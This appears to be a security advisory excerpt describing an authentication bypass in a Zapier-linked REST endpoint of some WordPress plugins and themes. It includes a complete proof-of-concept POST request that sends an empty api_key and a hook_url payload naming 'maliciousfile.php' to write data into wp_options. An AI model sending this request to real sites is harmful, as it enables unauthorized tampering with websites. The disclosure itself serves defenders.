The plugins and themes register a REST API endpoint associated with Zapier functionality. While this endpoint was intended to require an API key in order to access, it was possible to access it by supplying an empty api_key parameter in vulnerable versions if Zapier was not enabled. Attackers could use this endpoint to add arbitrary data to a predefined option in the wp_options table.
POST /wp-json/td/v1/optin/subscription HTTP/1.1
Host: [URL]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
hook_url={"http:\/\/key":"maliciousfile.php"}&api_key=